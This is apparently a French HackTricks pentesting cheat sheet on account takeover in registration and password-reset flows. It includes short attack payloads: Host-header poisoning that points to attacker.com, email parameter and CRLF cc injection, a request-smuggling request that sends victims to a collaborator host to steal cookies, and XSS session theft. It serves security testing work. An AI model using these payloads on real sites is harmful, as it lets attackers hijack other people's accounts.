Vulnérabilités d'Inscription & de Prise de Contrôle
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Prise de Contrôle d'Inscription
Inscription Dupliquée
- Essayez de générer en utilisant un nom d'utilisateur existant
- Vérifiez en variant l'email :
- majuscules
- +1@
- ajoutez un point dans l'email
- caractères spéciaux dans le nom de l'email (%00, %09, %20)
- Mettez des caractères noirs après l'email :
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Énumération de Noms d'Utilisateur
Vérifiez si vous pouvez déterminer quand un nom d'utilisateur a déjà été enregistré dans l'application.
Politique de Mot de Passe
Lors de la création d'un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).
Dans ce cas, vous pouvez essayer de bruteforcer les identifiants.
Injection SQL
Vérifiez cette page pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des injections SQL dans les formulaires d'inscription.
Prises de Contrôle Oauth
Vulnérabilités SAML
Changer d'Email
Lors de l'inscription, essayez de changer l'email et vérifiez si ce changement est correctement validé ou si vous pouvez le changer en des emails arbitraires.
Autres Vérifications
- Vérifiez si vous pouvez utiliser des emails jetables
- Long mot de passe (>200) entraîne un DoS
- Vérifiez les limites de taux sur la création de compte
- Utilisez username@burp_collab.net et analysez le callback
Prise de Contrôle par Réinitialisation de Mot de Passe
Fuite de Token de Réinitialisation de Mot de Passe Via Referrer
- Demandez une réinitialisation de mot de passe à votre adresse email
- Cliquez sur le lien de réinitialisation de mot de passe
- Ne changez pas le mot de passe
- Cliquez sur n'importe quel site tiers (ex : Facebook, Twitter)
- Interceptez la requête dans le proxy Burp Suite
- Vérifiez si l'en-tête referer fuit le token de réinitialisation de mot de passe.
Empoisonnement de Réinitialisation de Mot de Passe
- Interceptez la requête de réinitialisation de mot de passe dans Burp Suite
- Ajoutez ou modifiez les en-têtes suivants dans Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Transmettez la requête avec l'en-tête modifié
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Recherchez une URL de réinitialisation de mot de passe basée sur l'en-tête host comme :
https://attacker.com/reset-password.php?token=TOKEN
Réinitialisation de Mot de Passe Via Paramètre Email
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR sur les paramètres API
- L'attaquant doit se connecter avec son compte et aller à la fonctionnalité Changer le mot de passe.
- Démarrer Burp Suite et intercepter la requête.
- Envoyer à l'onglet répéteur et modifier les paramètres : ID utilisateur/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Jeton de réinitialisation de mot de passe faible
Le jeton de réinitialisation de mot de passe doit être généré aléatoirement et unique à chaque fois.
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
- Horodatage
- ID utilisateur
- Email de l'utilisateur
- Prénom et nom
- Date de naissance
- Cryptographie
- Numéro uniquement
- Petite séquence de jeton (caractères entre [A-Z,a-z,0-9])
- Réutilisation du jeton
- Date d'expiration du jeton
Fuite du jeton de réinitialisation de mot de passe
- Déclencher une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un email spécifique, par exemple : test@mail.com
- Inspecter la réponse du serveur et vérifier
resetToken
- Ensuite, utiliser le jeton dans une URL comme
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Réinitialisation de mot de passe via collision de nom d'utilisateur
- S'inscrire sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces insérés avant et/ou après le nom d'utilisateur. par exemple :
"admin "
- Demander une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
- Utiliser le jeton envoyé à votre email et réinitialiser le mot de passe de la victime.
- Se connecter au compte de la victime avec le nouveau mot de passe.
La plateforme CTFd était vulnérable à cette attaque.
Voir : CVE-2020-7245
Prise de contrôle de compte via Cross Site Scripting
- Trouver un XSS à l'intérieur de l'application ou d'un sous-domaine si les cookies sont limités au domaine parent :
*.domain.com
- Fuir le cookie de session actuel
- S'authentifier en tant qu'utilisateur en utilisant le cookie
Prise de contrôle de compte via HTTP Request Smuggling
1. Utiliser smuggler pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Concevoir une requête qui écrasera le POST / HTTP/1.1
avec les données suivantes :
GET http://something.burpcollaborator.net HTTP/1.1 X:
dans le but de rediriger les victimes vers burpcollab et de voler leurs cookies
3. La requête finale pourrait ressembler à ce qui suit
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone rapporte l'exploitation de ce bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Prise de contrôle de compte via CSRF
- Créer un payload pour le CSRF, par exemple : “formulaire HTML avec soumission automatique pour un changement de mot de passe”
- Envoyer le payload
Prise de contrôle de compte via JWT
JSON Web Token peut être utilisé pour authentifier un utilisateur.
- Modifier le JWT avec un autre ID d'utilisateur / Email
- Vérifier la signature JWT faible
JWT Vulnerabilities (Json Web Tokens)
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.